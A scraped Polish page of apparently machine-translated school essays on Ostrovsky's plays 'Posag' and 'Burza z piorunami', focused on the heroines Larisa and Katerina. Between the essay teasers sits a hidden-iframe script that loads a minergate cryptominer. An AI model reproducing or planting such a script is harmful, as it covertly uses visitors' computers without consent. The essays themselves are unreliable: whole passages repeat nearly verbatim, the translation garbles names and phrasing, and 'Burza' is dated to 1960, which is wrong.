„Pokazał nie tylko moralność, priorytety, tradycje biznesmenów, bojarów i drobnych urzędników, ale także osobisty dramat zakochanej kobiety. A ta kobieta to Larisa Ogudalova.

Larisa ma duszę poetycką, dążącą do miłości i szczęścia. Jest dobrze wychowana, obdarzona urodą i inteligencją. Jej postać sprzeciwia się fundamentom „nowego czasu”. Ogudalova żyje w świecie biznesmenów, gdzie główną wartością są pieniądze, gdzie wszystko się kupuje i sprzedaje, gdzie „każdy produkt ma swoją cenę”.

Larisa jest głównym produktem spektaklu. „Jestem dla ciebie lalką; „Jeśli będziesz się ze mną bawić, złamiesz mnie i wyrzucisz” – mówi. Sprzedają go matka, przyjaciel z dzieciństwa Wozhewatow, Knurow, Paratow, a nawet Karandyszew. Dlatego Karandyshev, organizując kolację na cześć Larisy, postanowił po prostu pochwalić się nabytą „zabawką” i pokazać swoją wyższość nad innymi: „Mam prawo być dumny i jestem dumny! Rozumiała mnie, doceniała i wolała mnie od wszystkich innych.

Wozhewatow i Knurow rzucają monetą, kto otrzyma takie odznaczenie. Ale Larisa się nimi nie przejmuje. Wszystkie jej myśli i uczucia są związane z Paratowem, ale Paratow martwi się tylko o jego stan. Gdy tylko pojawią się problemy, natychmiast odjeżdża, zapominając pożegnać się z Larisą. Ona mu to wybacza. A gdy tylko wróci, Larisa już czuje niepewność swojej pozycji: „Topisz mnie, spychając w otchłań”. Prosi, aby udać się dalej, do wioski, akurat wtedy, gdy Katerina, bohaterka spektaklu „Burza z piorunami”, poprosiła o złożenie przysięgi od Tichona.

Larisa chce uchronić się przed czynem, do którego dąży jej serce. Ale Karandyszew nie popiera Larisy, tak jak Tichon nie wspierał Jekateriny. Karandyszewa interesuje tylko duma. Więc Larisa zostaje sama ze swoimi obawami.

Po przybyciu Paratow nawet nie pamięta Larisy, dopóki Wożewatow nie poinformuje go, że Larisa wychodzi za mąż. Paratow także żeni się, a raczej proces kupna i sprzedaży następuje od nowa: w zamian za wolność nabywa kopalnie złota. Paratow chce się pobawić po raz ostatni, a Larisa to świetna zabawka. Daje jej najstraszniejszą rzecz - wiarę w szczęście. „Marzę o jednej błogości: być twoim niewolnikiem; Straciłem więcej niż fortunę, straciłem ciebie” – mówi Paratow. Oszukuje, mówi o miłości, gdy nie ma w nim ani krzty litości. Larisa mu wierzy i rzuca się do basenu.

Cel Paratowa został osiągnięty: Larisa, oszalała swoją miłością, pełna wiary i nadziei na wspólną przyszłość, zgadza się całkowicie należeć do niego. Jednak rano, gdy Larisa pyta, czy może uważać się za jego żonę, Paratow „pamięta”, że spętany jest łańcuchami, których nie może zerwać. To nie powstrzymuje Larisy: „Podzielę się z tobą tym ciężarem, wezmę na siebie większość ciężaru”, dopóki Paratow nie przyzna, że ​​​​jest zaręczony. Larisa została zdeptana, nie zadbano o jej miłość, jej uczucia zostały zdeptane w ziemię, śmiali się jej w twarz. I znowu los się z nią bawi, Knurov oferuje ją kupić. Jest zniesmaczona, ma dość tego świata.

Próbuje umrzeć, ale jej się to nie udaje: „Co mnie trzyma nad tą otchłanią, co mnie powstrzymuje? O nie, nie... nie Knurow... luksus, blask... nie, nie... Daleko mi do próżności... Rozpusta... o nie... po prostu nie mam determinacja.” W rozstrzygnięciu Larisa wdaje się w walkę i przyjmuje stanowisko, jakie od początku wyznaczyło jej społeczeństwo: „Tak, rzecz… jestem rzeczą, a nie osobą;… Każda rzecz ma swoją cenę. ..Jestem dla ciebie za drogi.” Ale tragedia Larisy leży gdzie indziej, jej słowa brzmią jak grzmot w „Burzy”: „Szukałam miłości i nie znalazłam. Patrzyli na mnie i patrzą na mnie jak na żart... Szukałem miłości i nie znalazłem... Nie ma jej na świecie, nie ma czego szukać. Nie znalazłem miłości, więc będę szukać złota.” Larisa kłamie, nie potrzebuje złota, nie potrzebuje niczego. Dlatego gdy Karandyshev strzela do Larisy, ona mu dziękuje.

Było kilka opcji wyniku wydarzeń w jej życiu. Do ostatnie minuty Larisa kochała Paratowa i gdyby pozostała przy życiu, byłaby w stanie mu jeszcze raz wybaczyć, a gdyby przypadkowo wrócił do miasta, znów by mu uwierzyła i ponownie dała się oszukać. Larisa mogłaby stać się luksusem Knurowa, ale dla niej to dokładnie śmierć. Nigdy nie zostałaby żoną Karandyszewa; patronat Karandyszewa jest poważną zniewagą. Tak czy inaczej, Larisa nie znalazłaby szczęścia, nie ma dla niej miłości na tym świecie, ponieważ w tamtych czasach miłość była odczuwana tylko dla pieniędzy, a nie dla ludzi.

Tragiczny los Larisa w „ciemnym królestwie” (na podstawie sztuki A. N. Ostrowskiego „Posag”)

Bohaterkami sztuk Ostrowskiego najczęściej stają się kobiety. Oczywiście te kobiety to niezwykłe i niezwykłe osoby. Wystarczy przypomnieć bohaterkę dramatu „Burza z piorunami” Katerinę. Jest tak emocjonalna i podatna na wpływy, że wyróżnia się na tle innych postaci w sztuce. Los Kateriny jest nieco podobny do losu innej bohaterki Ostrowskiego

W w tym przypadku o czym mówimy o spektaklu „Posag”.
Larisa Ogudalova musiała doświadczyć obojętności i okrucieństwa otaczających ją osób, przetrwać dramat miłosny, w wyniku czego umiera, podobnie jak bohaterka „Burzy”. Ale pomimo pozornego podobieństwa Larisa Ogudalova ma zupełnie inny charakter niż Katerina Kabanova. Dziewczyna otrzymała doskonałe wykształcenie. Jest mądra, wyrafinowana, wykształcona, marzy piękna miłość, ale początkowo jej życie potoczy się zupełnie inaczej. Ona jest bezdomna. Matka Larisy jest bardzo samolubna. Sprzedaje piękno i młodość swoich córek. Starsze siostry Larisy zdążyły się już „zadomowić” dzięki opiece zaradnego rodzica, ale niestety ich życie rozwija się bardzo, bardzo tragicznie.
Larisa Ogudalova zakochuje się w „genialnym mistrzu” Siergieju Siergiejewiczu Para. Szczerze uważa go za idealnego mężczyznę. Mistrz ma fortunę, w pełni odpowiada idei szlachetnego i inteligent. Jego wewnętrzna esencja zostaje ujawniona później. Larisa jest młoda i niedoświadczona, więc wpada w pułapkę Paraᴛᴏʙa i rujnuje siebie. Ona nie ma silny charakter i staje się zabawką w rękach innych. Dochodzi do momentu, w którym dziewczyna odgrywa rolę w rzucaniu. Osoby wokół niej uważają ją za rzecz, kosztowną i piękną rozrywkę, lecz jej wysublimowana dusza, uroda i talent okazują się nieistotne. Karandyshev mówi Larisie: „Nie patrzą na ciebie jak na kobietę, jak na osobę… patrzą na ciebie jak na rzecz”.
Ona sama się z tym zgadza: „Rzecz... tak, rzecz! Mają rację, jestem rzeczą, nie jestem osobą…”
Larisa ma z gorącym sercem, jest szczera i pełna uczuć. Hojnie daje swoją miłość, ale co dostaje w zamian? Dla ukochanej osoby Larisa jest po prostu kolejną formą rozrywki i zabawy. Z rozpaczy zgadza się nawet przyjąć warunki Knurowa.
Śmierć jest dla Larisy rodzajem zbawienia, oczywiście duchowym zbawieniem. Tak tragiczny koniec ratuje ją przed trudnym wyborem, jakiego dokonuje, ratuje od śmierci moralnej i upadku w otchłań zwaną zepsuciem.

Strona 1 z 1

Filmowa opowieść „Ukraina w ogniu”: losy narodu przez pryzmat autorskiej wizji i oceny

(funkcja() ( var w = document.createElement("iframe"); w.style.border = "brak"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//ru.minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/2/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("treść" ();...

Bohaterowie Wojny Ojczyźnianej w powieści Grossmana „Życie i los”

O Wielkim Wojna Ojczyźniana wiele napisano. Pierwsze prace na ten temat zaczęły pojawiać się już w połowie lat czterdziestych i od tego czasu nieprzerwanym strumieniem ukazują się powieści, opowiadania i wiersze o wojnie. A wiele z nich było niestety zupełnie przeciętnych i nieczytelnych.

Los człowieka i miłość do ojczyzny w twórczości A. Malyszki

Andriej Samojłowicz Małyszko to niezwykła postać w historii kultury ukraińskiej. Jego wielostronny talent ujawnił się w różnych dziedzinach, ale muza poezji była dla pisarza jak najbardziej przychylna. Jego dorobek obejmuje ponad dwa tuziny zbiorów i siedemnaście wierszy, w których autor obejmuje szerokie horyzonty tematyczne. Ale poeta pisze o człowieku pracującym, patriotycznym, ze szczególnym drżeniem i ciepłem. Ojczyzna w wierszu „Ojczyzna” ukazana jest jako źródło życia, mądrości, piękna i matczynej opieki. Ona, jak słusznie uważa autor, jest ich właścicielką magiczna moc, bo ci, którym dała „chleb… przy pieśniach słowika”, nabywają naturalną moc:…

Tragiczny los Tarasa Szewczenki

Jak wiecie, Szewczenko był synem chłopa pańszczyźnianego i sam był poddanym. Ojciec i matka wielkiego poety zmarli przedwcześnie z powodu przepracowania, nędzy i chorób. Taki sam los spotkał Tarasa Szewczenkę. W wieku jedenastu lat pozostawił sierotę, wcześnie doświadczył nieznośnych trudów pracy przymusowej i odczuł smutek „biednego, bez uśmiechu chłopa”. Szewczenko żył w niezwykle trudnych warunkach, był bardzo biedny, często głodował i chorował....

Temat rewolucji, wojny domowej i losów inteligencji rosyjskiej w literaturze rosyjskiej (Pasternak, Bułhakow) Biała Gwardia Bułhakow M. A.

motyw rewolucji, wojna domowa i losy inteligencji rosyjskiej w literaturze rosyjskiej (Pasternak, Bułhakow) Początek powieści jest niezwykły: „Szli, chodzili i śpiewali „Wieczna pamięć”… Kogo grzebią?… „Żiwago całość”. dzieło Pasternaka zbudowane jest na opozycji żywych i umarłych. Główną kwestią, wokół której kręci się „zewnętrzne i wewnętrzne” życie głównych bohaterów, jest przede wszystkim stosunek do rewolucji, zarówno Jurija Żywago, jak i sam autor był jej przeciwnikiem, a już najmniej kłócił się z biegiem wydarzeń, ich stosunek do rzeczywistości był zupełnie inny, czyli postrzeganie historii taką, jaka jest, bez ingerencji w nią, bez prób jej zmiany zobaczyć, co się dzieje, a końca nie widać. Fanatyzm białych i czerwonych rywalizował ze sobą w okrucieństwie, naprzemiennie zwiększając jedno w odpowiedzi na drugie, jakby się pomnażały.” …

Dramat A. N. Ostrowskiego „Posag” to wspaniała sztuka późny okres twórczość pisarza. Powstał w 1874 r., został ukończony w 1878 r. i wystawiony w tym samym roku w Moskwie i Petersburgu. M. Ermolova, M. Savina, a później V. Komissarzhevskaya - najlepsi aktorzy teatry stołeczne - wcielił się w rolę Larisy Ogudalovej. Co ich tak urzekło w tej wspaniałej bohaterce?

Larisę Ogudalową wyróżnia prawdomówność, szczerość i bezpośredniość charakteru, przypominająca tym samym Katerinę z „Burzy z piorunami”. Według Vozhevaty'ego Larisa Dmitrievna „nie ma przebiegłości”. To, co zbliża ją do bohaterki „Burzy”, to jej wysoka poezja. Larisę przyciąga odległość Trans-Wołgi, lasy za rzeką, przywołane samym pięknem - Wołgą z jej przestronnością. „Nie ma ziemskiej, tej ziemskiej rzeczy” – zauważa Knurow. I faktycznie: cała wydaje się wzniesiona ponad brud rzeczywistości, ponad wulgarność i podłość życia. W głębi duszy niczym ptak, do którego sama jest podobna, bije marzenie o pięknym i szlachetnym, uczciwym i spokojne życie, W tłumaczeniu z języka greckiego Larisa oznacza „mewę” i to nie przypadek.

Czy nie powinienem preferować stylu życia mojej matki? Kharita Ignatievna, pozostawiona wdowa z trzema córkami, jest nieustannie przebiegła i przebiegła, pochlebia i przymilna, żebrze od bogatych i przyjmuje ich jałmużnę. Aby stworzyć pozory piękna i splendoru życia, założyła w swoim domu naprawdę hałaśliwy „obóz cygański”. A wszystko po to, aby pod przykrywką tego świecidełka handlować żywym towarem. Zrujnowała już dwie córki, teraz jej kolej, by sprzedać trzecią. Ale Larisa nie może zaakceptować stylu życia swojej matki; jest jej obcy. Matka mówi córce, żeby się uśmiechnęła, ale ona chce płakać. I prosi pana młodego, aby wyrwał ją z otaczającego ją „bazaru”, gdzie jest mnóstwo „wszelkiego motłochu” i zabrał ją dalej, za Wołgę.

Jednak Larisa jest biedną panną młodą pozbawioną posagu i pozbawioną środków pieniężnych. Musi to znieść. Ponadto sama zdążyła zarazić się pragnieniem zewnętrznego blasku. Larisie brakuje integralności charakteru życie psychiczne dość kontrowersyjne. Nie tylko nie chce widzieć wulgarności i cynizmu otaczających ją ludzi, ale przez dłuższy czas nie potrafi ich dostrzec. Wszystko to odróżnia ją od Kateriny. Odmawiając matczynego stylu życia, istnieje wśród wulgarnych wielbicieli.

Larisa Ogudalova musiała doświadczyć obojętności i okrucieństwa otaczających ją osób, przetrwać dramat miłosny, w wyniku czego umiera, podobnie jak bohaterka „Burzy”. Ale pomimo pozornego podobieństwa Larisa Ogudalova ma zupełnie inny charakter niż Katerina Kabanova. Dziewczyna otrzymała doskonałe wykształcenie, jest mądra, wyrafinowana, wykształcona, marzy o pięknej miłości, ale początkowo jej życie toczy się zupełnie inaczej. Ona jest bezdomna. Matka Larisy jest bardzo samolubna. Sprzedaje piękno i młodość swoich córek.

Najpierw w domu pojawił się starszy mężczyzna z dną moczanową. Larisa wyraźnie tego nie chce nierówne małżeństwo, ale „trzeba było być miłym: mamusia rozkazuje”. Wtedy przybiegł bogaty menadżer jakiegoś księcia, zawsze pijany. Larisa nie ma dla niego czasu, ale w domu go akceptują: „jej pozycja jest nie do pozazdroszczenia”. Wtedy „pojawił się pewien kasjer”, obsypując pieniędzmi Kharitę Ignatievnę. Ten walczył ze wszystkimi, ale nie pokazywał się długo. Okoliczności tutaj pomogły pannie młodej: został aresztowany w ich domu ze skandalem.

Larisa Ogudalova zakochuje się w „genialnym mistrzu” Siergieju Siergiejewiczu Paratowie. Szczerze uważa go za idealnego mężczyznę. Mistrz ma fortunę, w pełni odpowiada idei osoby szlachetnej i wykształconej. Jego wewnętrzna esencja zostaje ujawniona później. Larisa jest młoda i niedoświadczona, więc wpada w pułapkę Paratowa i rujnuje siebie. Nie ma silnego charakteru i staje się zabawką w rękach innych. Dochodzi do momentu, w którym dziewczyna odgrywa rolę w rzucaniu. Osoby wokół niej uważają ją za rzecz, kosztowną i piękną rozrywkę, lecz jej wysublimowana dusza, uroda i talent okazują się nieistotne. Karandyshev mówi Larisie: „Nie patrzą na ciebie jak na kobietę, jak na osobę… patrzą na ciebie jak na rzecz”.

Ona sama się z tym zgadza: „Rzecz... tak, rzecz! Mają rację, jestem rzeczą, nie jestem osobą...”.

Larisa ma namiętne serce, jest szczera i emocjonalna. Hojnie obdarza swoją miłością, ale co dostaje w zamian? Dla ukochanej osoby Larisa jest po prostu kolejną formą rozrywki i zabawy. Z rozpaczy zgadza się nawet przyjąć warunki Knurowa.

Śmierć jest dla Larisy rodzajem zbawienia, oczywiście duchowym zbawieniem. Tak tragiczny koniec ratuje ją przed trudnym wyborem, jakiego dokonuje, ratuje od śmierci moralnej i upadku w otchłań zwaną zepsuciem.

Jedynym wyjściem, jakie znajduje Larisa, jest opuszczenie tego świata. Larisa najpierw sama chciała popełnić samobójstwo. Podeszła do klifu i spojrzała w dół, jednak w przeciwieństwie do Kateriny nie miała dość determinacji i sił, aby zrealizować swój plan. Śmierć Larisy jest jednak z góry ustalona i przygotowana przez całą sztukę. Nagle z molo słychać strzał (tego boi się Larisa). Następnie wspomniany jest topór w rękach Karandyszewa. Pewną śmierć nazywa upadkiem z urwiska. Larisa opowiada o „obojętnym strzale” Paratowa do monety, którą trzymała w rękach. Ona sama uważa, że ​​tu na każdej gałęzi „można się powiesić”, ale nad Wołgą „wszędzie łatwo się utopić”. Robinson ma przeczucie możliwego morderstwa. Wreszcie Larisa śni: „Gdyby tylko ktoś mnie teraz zabił?”

Śmierć bohaterki staje się nieunikniona i nadchodzi. W szaleńczym przypływie własności, dokonując dla niej wielkiego czynu, Karandyshev ją zabija. To ostatni i mimowolny wybór bezdomnej kobiety. Tak kończy się tragedia główny bohater sztuki Ostrowskiego.

„Posag” to dramat o katastrofie osobowości w nieludzkim świecie. Praca ta opowiada o tragedii zwykłej Rosjanki, bezdomnej kobiety o ciepłym, kochającym sercu.

Bohaterkami sztuk Ostrowskiego najczęściej stają się kobiety. Oczywiście te kobiety to niezwykłe i niezwykłe osoby. Wystarczy przypomnieć bohaterkę dramatu Katerina. Jest tak emocjonalna i podatna na wpływy, że wyróżnia się na tle innych postaci w sztuce. Los Kateriny jest nieco podobny do losu innej bohaterki Ostrowskiego. W tym przypadku mówimy o zabawie.

Larisa Ogudalova musiała doświadczyć obojętności i okrucieństwa otaczających ją osób, przetrwać dramat miłosny, w wyniku czego umiera, podobnie jak bohaterka Burzy. Ale pomimo pozornego podobieństwa Larisa Ogudalova ma zupełnie inny charakter niż Katerina Kabanova. Dziewczyna otrzymała doskonałe wykształcenie. Jest mądra, wyrafinowana, wykształcona, marzy o pięknej miłości, ale początkowo jej życie okazuje się zupełnie inaczej. Ona jest bezdomna. Matka Larisy jest bardzo samolubna. Sprzedaje piękno i młodość swoich córek. Starsze siostry Larisy zadomowiły się już dzięki opiece zaradnego rodzica, ale niestety ich życie rozwija się bardzo, bardzo tragicznie.

Larisa Ogudalova zakochuje się w genialnym dżentelmenie Siergieju Siergiejewiczu Paratowie. Szczerze uważa go za idealnego mężczyznę. Mistrz ma fortunę, w pełni odpowiada idei osoby szlachetnej i wykształconej. Jego wewnętrzna esencja zostaje ujawniona później. Larisa jest młoda i niedoświadczona, więc wpada w pułapkę Paratowa i rujnuje siebie. Nie ma silnego charakteru i staje się zabawką w rękach innych. Dochodzi do momentu, w którym dziewczyna odgrywa rolę w rzucaniu. Osoby wokół niej uważają ją za rzecz, kosztowną i piękną rozrywkę, lecz jej wysublimowana dusza, uroda i talent okazują się nieistotne. Karandyshev mówi do Larisy: Nie patrzą na ciebie jak na kobietę, jak na osobę… patrzą na ciebie jak na rzecz.

Ona sama się z tym zgadza: Rzecz... tak, rzecz! Mają rację, jestem rzeczą, nie jestem osobą….

Larisa ma żarliwe serce, jest szczera i emocjonalna. Hojnie daje swoją miłość, ale co dostaje w zamian? Dla ukochanej osoby Larisa jest po prostu kolejną rozrywką, rozrywką. Z rozpaczy zgadza się nawet przyjąć warunki Knurowa.

Śmierć jest dla Larisy rodzajem zbawienia, oczywiście duchowym zbawieniem. Tak tragiczny koniec ratuje ją przed trudnym wyborem, jakiego dokonuje, ratuje od śmierci moralnej i upadku w otchłań zwaną zepsuciem.

Dramat A. N. Ostrowskiego „Burza z piorunami” został opublikowany w 1960 roku, w przededniu sytuacji rewolucyjnej w Rosji. W utworze odzwierciedlono wrażenia z podróży pisarza wzdłuż Wołgi latem 1856 roku. Ale w „Burzy z piorunami” nie przedstawiono żadnego konkretnego miasta Wołgi ani konkretnych osób. Przerobił wszystkie swoje obserwacje na temat życia w regionie Wołgi i przekształcił je w głęboko typowe obrazy rosyjskiego życia.

Gatunek dramatu charakteryzuje się tym, że opiera się na konflikcie pomiędzy jednostką a otaczającym ją społeczeństwem. W „Burzy z piorunami” tą osobą jest Katerina Kabanova.

Katerina uosabia czystość moralną, duchowe piękno Rosjanka, jej pragnienie woli, wolności, jej zdolność nie tylko do znoszenia, ale także do obrony swoich praw, jej godność człowieka. Zdaniem Dobrolubowa „nie zabiła w sobie natury ludzkiej”.

Katarzyna – Rosjanka charakter narodowy. Przede wszystkim odzwierciedla to Ostrovsky, który posiadał całe bogactwo w doskonałości język miejscowy w przemówieniu bohaterki. Kiedy mówi, wydaje się, że śpiewa. W wypowiedzi Katarzyny, kojarzonej z zwykłymi ludźmi, wychowanej na ich poezji ustnej, dominuje słownictwo potoczne, charakteryzujące się wysoką poezją, obrazowością i emocjonalnością. Czytelnik czuje muzykalność i melodyjność, przypomina przemówienie Katyi pieśni ludowe. Język bohaterki Ostrowskiej charakteryzuje się powtórzeniami („na dobrej ocenie”, „ludzie są dla mnie obrzydliwi, a dom jest dla mnie obrzydliwy, a ściany obrzydliwe!”), Mnóstwem czułych i drobnych słów ( „słońce”, „voditsa”, „grób”) , porównanie („nie smuciła się niczym jak ptak na wolności”, „ktoś mówi do mnie życzliwie, jak gruchanie gołębicy”). Tęskniąc za Borysem, w chwili największego napięcia sił duchowych, Katerina wyraża swoje uczucia językiem poezji ludowej, wołając: „Gwałtowne wiatry, zanieście mu mój smutek i melancholię!”

Uderza naturalność, szczerość i prostota wyspiarskiej bohaterki. „Nie wiem, jak oszukiwać; Nie mogę niczego ukryć” – odpowiada Varvara, która twierdzi, że w ich domu nie da się mieszkać bez oszustwa. Przyjrzyjmy się religijności Katarzyny. To nie jest hipokryzja Kabanikhy, ale dziecinna, autentyczna wiara w Boga. Często chodzi do kościoła i robi to z przyjemnością i radością („A do kościoła chodziłam do szaleństwa! Na pewno tak się stało, wejdę do nieba”), uwielbia rozmawiać o pielgrzymach („Nasz dom był pełen pielgrzymów i modliszek ”), marzenia Kateriny o „złotych świątyniach”.

Miłość wyspiarskiej bohaterki nie jest bez powodu. Po pierwsze, odczuwa się potrzebę miłości: w końcu jest mało prawdopodobne, aby jej mąż Tichon pod wpływem „mamy” bardzo często okazywał swoją miłość do żony. Po drugie, uczucia żony i kobiety są obrażane. Po trzecie, śmiertelna melancholia monotonnego życia dusi Katerinę. I wreszcie czwarty powód to pragnienie wolności, przestrzeni: wszak miłość jest jednym z przejawów wolności. Katerina walczy sama ze sobą i na tym polega tragedia jej sytuacji, ale w końcu usprawiedliwia się wewnętrznie. Popełniając samobójstwo, popełniając z punktu widzenia Kościoła grzech straszny, myśli nie o zbawieniu swojej duszy, ale o miłości, która została jej objawiona. „Mój przyjacielu! Moja radość! Do widzenia!" - Tutaj ostatnie słowa Katerina.

Jeszcze jedno cecha charakterystyczna Bohaterką wyspy jest „dojrzałe żądanie prawa i przestronności życia, wypływające z głębin całego organizmu”, pragnienie wolności i duchowej emancypacji. Na słowa Varvary: „Gdzie pójdziesz? Jesteś żoną męża” – Katerina odpowiada: „Ech, Varya, nie znasz mojego charakteru! Oczywiście, nie daj Boże, żeby tak się stało! A jeśli mi się tu znudzi, nie powstrzymają mnie żadną siłą. Wyrzucę się przez okno, rzucę się do Wołgi. Nie chcę tu mieszkać, nie zrobię tego, nawet jeśli mnie potniesz!” Nie bez powodu w spektaklu wielokrotnie pojawia się wizerunek ptaka – symbolu woli. Stąd stały epitet „wolny ptak”. Katerina, pamiętając, jak żyła przed ślubem, porównuje się do dzikiego ptaka. „Dlaczego ludzie nie latają jak ptaki” – mówi do Varvary. „Wiesz, czasami myślę, że jestem ptakiem”. Ale wolny ptak trafił do żelaznej klatki. A ona walczy i tęskni w niewoli.

Uczciwość i zdecydowanie charakteru Kateriny wyraziła się w tym, że odmówiła przestrzegania zasad domu Kabanikha i wolała śmierć od życia w niewoli. I nie był to przejaw słabości, ale duchowej siły i odwagi, żarliwej nienawiści do ucisku i despotyzmu.

A więc najważniejsze charakter dramat „Burza z piorunami” wchodzi w konflikt z środowisko. W czwartym akcie, w scenie pokuty, wydaje się, że rozwiązanie nastąpi. W tej scenie wszystko jest przeciwko Katerinie: „Boża burza” i przeklinająca, na wpół szalona „dama z dwoma lokajami” i starożytne malarstwo na zniszczonej ścianie, przedstawiający „ognistą Gehennę”. Biedna dziewczyna została niemal doprowadzona do szaleństwa przez te wszystkie oznaki przemijającego, ale nieustępliwego starego świata i żałuje za swój grzech w pół majaczącym stanie ciemności. Ona sama przyznaje później Borysowi, że „nie była wolna sama w sobie”, „nie pamiętała siebie”. Gdyby dramat „Burza z piorunami” zakończył się tą sceną, pokazałoby to niezwyciężoność „ciemnego królestwa”: przecież pod koniec czwartego aktu triumfuje: „Co za syn! Dokąd zaprowadzi wola?

Ale dramat kończy się moralnym zwycięstwem nad siły zewnętrzne, które krępowały wolność Kateriny, i nad mrocznymi ideami, które krępowały jej wolę i umysł. A jej decyzja, by umrzeć, zamiast pozostać niewolnicą, wyraża, zdaniem Dobrolyubova, „potrzebę rodzącego się ruchu rosyjskiego życia”.